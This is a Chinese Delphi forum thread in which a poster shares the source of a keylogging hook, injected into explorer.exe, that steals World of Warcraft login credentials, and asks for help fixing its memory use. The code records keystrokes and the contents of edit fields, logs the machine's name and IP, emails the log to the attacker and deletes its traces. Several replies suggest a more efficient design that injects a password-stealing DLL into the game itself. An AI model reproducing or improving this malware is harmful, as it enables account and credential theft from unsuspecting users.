代码变量内存优化 166分等你来拿!(166分)

  • 主题发起人 主题发起人 x_h168
  • 开始时间 开始时间
X

x_h168

Unregistered / Unconfirmed
GUEST, unregistred user!
以下是我自己写的一个监控盗取魔兽登陆帐户密码信息的钩子回调函数(省去了部分细节),程序运行注入到EXPLORER.EXE进程后工作还算正常,但问题是运行一段时间后系统会经常提示虚拟内存不足,我想这肯定是我的代码变量处理不够正常合理的原因,请哪位高手花点时间看下小弟的代码,给点提示和意见教小弟优化一下,不胜感激!<br><br><br>function HookRecordProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;<br>var<br> &nbsp;Kbs: TKeyboardState;<br> &nbsp;WChar:array[0..15] of char;<br> &nbsp;buffer1:array[0..256] of char;<br> &nbsp;FindHwnd,FindWindowStrHwnd,PID:Hwnd;<br> &nbsp;LogFile:TextFile;<br> &nbsp;NowEventMsg:string;<br> &nbsp;tempstr:string;<br>begin<br> &nbsp;SetLength(NowEventMsg, 0);<br> &nbsp;if (nCode = HC_ACTION) and ((PEventMsg(lParam).message = WM_KEYDOWN) or (PEventMsg(lParam).message =WM_LBUTTONDOWN) or (PEventMsg(lParam).message =WM_RBUTTONDOWN)) then &nbsp;//响应为键盘和鼠标动作<br> &nbsp;begin<br> &nbsp; &nbsp;FindHwnd:=GetForegroundWindow();<br> &nbsp; &nbsp;GetWindowThreadProcessId(FindHwnd, @PID); &nbsp; &nbsp;<br> &nbsp; &nbsp;Getwindowtext(FindHwnd, Buffer1,SizeOf(Buffer1)); &nbsp; &nbsp;//取得窗体的名称 &nbsp;<br> &nbsp; &nbsp;if (HookProgramPath&lt;&gt;FindPath(PID)) &nbsp;then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;if not FileExists(GetWindowsDirectory+HookSaveFile)then<br> &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp;AssignFile(LogFile,GetWindowsDirectory+HookSaveFile);<br> &nbsp; &nbsp; &nbsp; &nbsp;ReWrite(LogFile);<br> &nbsp; &nbsp; &nbsp; &nbsp;Append(LogFile);<br> &nbsp; &nbsp; &nbsp; &nbsp;WriteLn(LogFile,'主机:'+ GetComputerNameString+':'+LocalIP +#13#10);<br> &nbsp; &nbsp; &nbsp; &nbsp;CloseFile(LogFile);<br> &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp;AssignFile(LogFile,GetWindowsDirectory+HookSaveFile);<br> &nbsp; &nbsp; &nbsp;Append(LogFile);<br> &nbsp; &nbsp; &nbsp;HookString:=HookString+#13#10;<br> &nbsp; &nbsp; &nbsp;if NowWindowStr&lt;&gt;'' then HookString:=HookString+'窗口信息:'+NowWindowStr+#13#10;<br> &nbsp; &nbsp; &nbsp;SetLength(NowWindowStr, 0);<br> &nbsp; &nbsp; &nbsp;WriteLn(LogFile,HookString);<br> &nbsp; &nbsp; &nbsp;CloseFile(LogFile);<br> &nbsp; &nbsp; &nbsp;HookString:='';<br> &nbsp; &nbsp; &nbsp;HookProgramPath:='';<br> &nbsp; &nbsp;end;<br><br> &nbsp; &nbsp;HookFormTitle:=Buffer1;<br> &nbsp; &nbsp;HookProgramPath:=FindPath(PID); &nbsp; &nbsp;//把新的程序路径放进HookProgramPath<br> &nbsp; &nbsp;HookString:='窗口标题:'+HookFormTitle + &nbsp;#13#10 + '操作记录:';<br><br> &nbsp; &nbsp;if (PEventMsg(lParam).message = WM_KEYDOWN) then &nbsp; &nbsp;//键盘反应<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;GetKeyboardState(Kbs); // 取键盘状态<br> &nbsp; &nbsp; &nbsp;ToAscii(PEventMsg(lParam).paramL, PEventMsg(lparam).paramH, Kbs, WChar, 0); &nbsp;//键码转换<br> &nbsp; &nbsp; &nbsp;if (WChar[0]=#9) then NowEventMsg:='[TAB]'<br> &nbsp; &nbsp; &nbsp; &nbsp;else if (WChar[0]=#8) &nbsp;then NowEventMsg:='[BackSpace]'<br> &nbsp; &nbsp; &nbsp; &nbsp;else if (WChar[0]=#27) then NowEventMsg:='[Esc]'<br> &nbsp; &nbsp; &nbsp; &nbsp;else if (WChar[0]=#13) then NowEventMsg:='[Enter]' &nbsp; &nbsp; // 回车补#10<br> &nbsp; &nbsp; &nbsp; &nbsp;else if (WChar[0]&lt;&gt;'') then NowEventMsg:=WChar[0];<br> &nbsp; &nbsp; &nbsp;if (ToAscii(PEventMsg(lParam).paramL, PEventMsg(lparam).paramH, Kbs, WChar, 0)&lt;&gt;1) then NowEventMsg:=KeyResult(Peventmsg(lparam)^.paramL,Peventmsg(lparam)^.paramH); &nbsp;////键盘控制键处理<br> &nbsp; &nbsp;end;<br> &nbsp; &nbsp;SetLength(NowEventMsg, Length(NowEventMsg));<br> &nbsp; &nbsp;if &nbsp;AnsiContainsText(HookFormTitle,'魔兽世界') then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;HookString:=HookString+NowEventMsg; &nbsp; //增加操作记录<br> &nbsp; &nbsp; &nbsp;SetLength(NowWindowStr, 0);<br> &nbsp; &nbsp; &nbsp;FindWindowStrHwnd:= FindWindowEx(FindHwnd, 0, nil, nil); //查找列出所有控件信息<br> &nbsp; &nbsp; &nbsp;while(FindWindowStrHwnd&lt;&gt;0) do<br> &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp;GetClassName(FindWindowStrHwnd, Buffer1,SizeOf(Buffer1));<br> &nbsp; &nbsp; &nbsp; &nbsp;if AnsiContainsText(Buffer1,'ComboBox') or AnsiContainsText(Buffer1,'Edit') then<br> &nbsp; &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if GetEditText(FindWindowStrHwnd)&lt;&gt;'' then NowWindowStr:=NowWindowStr+GetEditText(FindWindowStrHwnd)+'|';<br> &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp; &nbsp;FindWindowStrHwnd:= FindWindowEx(FindHwnd,FindWindowStrHwnd, nil, nil);<br> &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp;SetLength(NowWindowStr,length(NowWindowStr));<br> &nbsp; &nbsp;end;<br><br> &nbsp;//发送监控记录<br> &nbsp; &nbsp;tempstr:='';<br> &nbsp; &nbsp;HookString:='';<br> &nbsp; &nbsp;assignfile(LogFile,GetWindowsDirectory+HookSaveFile);<br> &nbsp; &nbsp;reset(LogFile);<br> &nbsp; &nbsp;while not eof(LogFile) do<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;if (not eof(LogFile)) then<br> &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp;HookString:=HookString+tempstr+#13#10;<br> &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp;readln(LogFile,tempstr);<br> &nbsp; &nbsp;end;<br> &nbsp; &nbsp;closefile(LogFile);<br> &nbsp; &nbsp;if InternetConnected and IsEMail('TMAIL') then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;SendEMail(TMAIL,HookString);<br> &nbsp; &nbsp; &nbsp;DeleteFile(GetWindowsDirectory+HookSaveFile);<br> &nbsp; &nbsp; &nbsp;RemoveDirFiles(GetWindowsDirectory+'temp');<br> &nbsp; &nbsp;end;<br> &nbsp; &nbsp;//清空信息重新记录<br> &nbsp; &nbsp;tempstr:='';<br> &nbsp; &nbsp;HookString:='';<br><br> &nbsp;end;<br> &nbsp;// 传给下一个钩子处理, 并且返回它的返回值<br> &nbsp;Result := CallNextHookEx(HookKeyRecord, nCode, wParam, lParam);<br>end;
 
&gt;&gt;注入到EXPLORER.EXE进程后工作还算正常<br>&gt;&gt;运行一段时间后系统会经常提示虚拟内存不足<br><br>这应该不算正常吧?代码中看不出问题的地方。
 
我说还算正常是指功能正常,我在多台机子上都有运行测试,都有提示虚拟内存不足的现象,肯定还是哪里没处理好的问题.
 
可能是没有完全释放
 
没细看,但<br>1.如果仅盗取魔兽就不要记录所有窗口的输入。<br>2.写记录文件,发送监控记录最好另开线程。<br><br>或者注入explorer的代码仅做监控魔兽之用(用cbt或shell hook),发现魔兽在把记录代码/dll注入魔兽去。<br><br>现在的代码点点鼠标都会尝试记录,太离谱了。
 
NowEventMsg 这个是局部变量<br>SetLength(NowEventMsg, Length(NowEventMsg)); //这句是不是有问题<br><br>//清空信息重新记录时<br>SetLength(NowEventMsg, 0);<br>SetLength(NowWindowStr,0);
 
SetLength(NowEventMsg, Length(NowEventMsg)); //这句是不是有问题<br>SetLength(NowEventMsg, 0);<br>SetLength(NowWindowStr,0);<br>上面那几句也是在出现了所说问题后我才加上的,我总觉得是那些记录的字符串变量没处理好的问题. &nbsp;tt.t 说的我觉得有些道理,我这个代码的确是任何时候都在记录,肯定比较耗资源,请问有没有效率比较高的现成代码发出来学习学习.
 
说下思路吧,注入dll到explorer,dll中设全局shell hook,监控窗口激活,发现魔兽将盗取密码代码或dll注入魔兽主程序,子类化密码输入窗口或设置键盘钩子监控输入,记录密码。然后再发送什么的。这只是针对你的思路提出的改进方法,适用于一般程序不知对魔兽怎么样。
 
这样的话好像在系统资源消耗方面是比较好些,但这样做程序注入中再写一个注入的过程,程序代码是不是显得就复杂了麻烦了些了呀,要是有个示例代码就好了.
 
顶一下吧
 
复杂?呵呵,那样才有趣呀。<br><br>你想要什么样的示例代码?<br>我可不会帮你写偷密码的程序的:&quot;)
 
我并不是要你写啦,其实类似这样的代码肯定有许多人写过的,只是没收集到,不过还是谢谢你./
 
后退
顶部